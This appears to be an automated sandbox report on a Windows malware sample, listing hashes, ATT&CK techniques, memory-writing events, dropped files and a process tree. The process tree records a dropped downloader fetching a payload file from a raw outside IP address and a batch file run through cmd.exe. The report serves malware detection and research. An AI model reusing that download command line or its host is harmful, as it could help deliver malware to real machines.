ed8b78accaf3687b64236859401bf2df4b1f118b0aa44aa58cec1e4418199ec8

Analysis

max time kernel
95s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
11/07/2024, 22:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe
Size 90KB
Sample240711-2sbdvaxgpj
SHA256 ed8b78accaf3687b64236859401bf2df4b1f118b0aa44aa58cec1e4418199ec8
MD5 3b064b859c44a60d05e9c9107fccef9f
SHA1 49b865d26c49a3a588dd244160e49b58bb046ffb
SHA512 4d6f97508c37fbbd50ed18783e36a69f3e97a692acb42ae67c5a5d731343933c655748d9bf550c2eae62147d2b92b1e535ce5abe99ccb87b18f336c1f81064d4
SSDEEP 1536:IabFGjiGBC2QwQB1Gh9jNkt5G3CXLSTRfQ+QWgChE1PcbZ7lG++XMQ:9ZGuAC9dB10J+5e+LkJaWE097lG+kf
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
2932	GAA4B-tmp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 2932	1736	3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe	86
PID 1736 wrote to memory of 2932	1736	3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe	86
PID 1736 wrote to memory of 2932	1736	3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe	86
PID 1736 wrote to memory of 3724	1736	3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe	89
PID 1736 wrote to memory of 3724	1736	3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe	89
PID 1736 wrote to memory of 3724	1736	3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe	89

C:\Users\Admin\AppData\Local\Temp\3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3b064b859c44a60d05e9c9107fccef9f_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Users\Admin\AppData\Local\Temp\GAA4B-tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\GAA4B-tmp.exe" http://78.129.166.25/drv32.data "C:\Users\Admin\AppData\Local\Temp\GAA4C-tmp"
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\amp.bat" "
  2⤵
  PID:3724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GAA4B-tmp

Path C:\Users\Admin\AppData\Local\Temp\GAA4B-tmp
Size 89KB
SHA256 6c00076abb293e657935e149312893ed40839c8034d38c76ab1aeccc6fc7910e
MD5 9d520220399f61297cb7aba9f37f8d27
SHA1 d06608d8425b586b8bf83a9fa836b16b113ebbd1
SHA512 51500da7bc388c4772b627701d43275baaead00f4af229a24a243ce26f366c8ef56bebee9949cefd2d51598b93c4d6c1c7d186eeb78815830f3506106f5ec892
SSDEEP 1536:PKUuEK9NPkDRKF1EDksFirvdW79nfh+hMuRBDyR:PKUuEinKksFirvdW7+nby
MD5 SHA1 SHA512 SSDEEP

Submit Download

amp.bat

Path C:\amp.bat
Size 51B
SHA256 f835aa46bb9cbef71c5c635f9b7f3a46da538817eb57d4e267f99cbbd1d034ac
MD5 44dbc42e54a13fa6465297da6689e371
SHA1 c906e1714be9078be2bf361255775a14378fa549
SHA512 bb176a22fbc22f5f7d6904c957526230f93b82ebab164ea6da222752635a041f4f7de6bc5209c9aacc590fb30ee85c8429db3b0a604007505fdb2735144d09a8
MD5 SHA1 SHA512

Submit Download

memory/1736-0-0x0000000000400000-0x0000000000440000-memory.dmp

Download

memory/1736-16-0x0000000000400000-0x0000000000440000-memory.dmp

Download

memory/1736-26-0x0000000000400000-0x0000000000440000-memory.dmp

Download

memory/2932-17-0x0000000000400000-0x0000000000421000-memory.dmp

Download

memory/2932-20-0x0000000000400000-0x0000000000421000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads